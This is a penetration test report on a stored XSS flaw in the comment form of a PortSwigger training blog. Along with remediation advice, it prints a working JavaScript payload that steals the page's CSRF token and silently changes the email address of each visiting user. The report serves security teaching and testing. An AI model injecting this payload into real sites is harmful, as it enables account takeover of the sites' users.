Web Application Penetration Test Report

Stored Cross-Site Scripting (XSS) Assessment

Target	PortSwigger Blog Web Application
Author	Koussay DHIFI
Date	12 April 2026
Classification	Confidential

Generated with LaTeX · PTES-Based Methodology

Contents

1 Executive Summary

Objective Evaluate the security of the company's web application against a Stored Cross-Site Scripting (XSS) attack within the comment functionality.

Finding A Stored Cross-Site Scripting vulnerability was detected.

Risk Level **High** — Immediate remediation is recommended.

Business Impact Exploitation could allow attackers to affect all users of the web application by executing arbitrary JavaScript in the context of authenticated users visiting the application.

2 Scope & Engagement Details

Target(s) Blog web application provided by PortSwigger only.

Timeframe 10 April 2026.

Rules of Engagement
- No DDoS attacks are allowed.
- Testing is limited to the web application.
- It is not permissible to probe other open ports aside from the web application.
- No privilege escalation is allowed; only XSS identification and exploitation are in scope.

Testing Type Grey Box: credentials for the web application are provided (`wiener:peter`). The vulnerability under investigation is confined to the comment functionality.

3 Methodology

Testing followed a lightweight PTES-based approach, focusing on manual analysis of the comment functionality and validation of client-side injection vectors.

3.1 Reconnaissance

Active reconnaissance was performed by manually investigating the web application and fuzzing the comment functionality inputs. Burp Suite was also used to discover which endpoint is responsible for changing the user's email address.

3.2 Exploitation

A Stored XSS vulnerability within the comment functionality was confirmed. An exploit was written and injected that causes any visiting user to change their own email address by fetching the endpoint `/my-account/change-email` [4].

4 Finding

Only one finding was identified: a Stored Cross-Site Scripting vulnerability.

4.1 Description

Stored XSS allows an attacker to control other users' browsers and cause them to perform unintended actions.

4.2 Technical Details

The comment functionality treats user input as part of the HTML document when storing it. As a result, any HTML content — including embedded JavaScript — can be injected and later executed in the context of any user who views the affected page.

4.3 Impact

Severity: CVSS 8.5 — High

Attackers can cause users' browsers to perform unintended actions, such as exfiltrating credentials to an attacker-controlled server. This is one of the most critical impacts associated with stored XSS vulnerabilities.

4.4 Remediation

Several remediation techniques are available:

1. **Sanitize User Input and Output.** Developers must sanitize user input by ensuring it is parsed as plain text rather than HTML. This can be achieved using a function that replaces special characters such as `<`, `>`, and `/` with their corresponding HTML entities (e.g., `<`) [3].
2. **Content Security Policy (CSP).** Developers should implement a Content Security Policy by adding the appropriate header to the application's HTTP responses (see Appendix [1]).
3. **HttpOnly Cookies.** Developers should configure the `HttpOnly` flag on session cookies to prevent them from being accessible via JavaScript, thereby mitigating cookie theft via XSS [2].

5 Attack Path / Kill Chain

Initial Access Credentials were provided as part of the grey-box engagement scope.

Exploitation Steps A JavaScript payload was injected through the comment form. The payload causes any user who loads the affected page to have their email address changed by issuing a POST request to `/my-account/change-email`, which was discovered using Burp Suite.

Final Impact Any user that loads the affected page will have their email address silently changed to the one specified by the attacker.

6 Conclusion

Security Posture The organization's web application exhibits a high-severity vulnerability that affects not only the website itself but also its users; immediate remediation is required.

Key Risk A Stored Cross-Site Scripting vulnerability exists within the comment functionality of each post.

Recommendations When developing such functionality, developers must handle user input as text, not as HTML. The development team should also consider adopting libraries and frameworks such as React or Angular, or a template engine such as Jinja2. Developing in plain PHP from scratch without these safeguards tends to introduce a large number of security errors.

7 Appendix

[1] Content Security Policy Header

Listing 1: Recommended CSP header

```
Content-Security-Policy: script-src 'self'
```

[2] HttpOnly Cookie

Listing 2: HttpOnly cookie directive

```
Set-Cookie: sessionId=...; HttpOnly
```

[3] Input Sanitization Function

Listing 3: HTML sanitization helper

```
function sanitizeHTML(input) {
    const div = document.createElement("div");
    div.textContent = input;
    return div.innerHTML;
}
```

[4] Exploit Payload

The exploit below causes any user who views the page to have their email address automatically changed.

Listing 4: Stored XSS exploit injected via comment form

```
<script defer>
document.addEventListener("DOMContentLoaded", () => {

    let endpoint   = '/my-account/change-email';
    let csrf_token = document.getElementsByName('csrf')[0].value;
    let email      = 'email@go.vrrrm';

    fetch(endpoint, {
        method  : 'POST',
        headers : { "Content-Type": "application/x-www-form-urlencoded" },
        body    : `email=${email}&csrf=${csrf_token}`
    });

});
</script>
```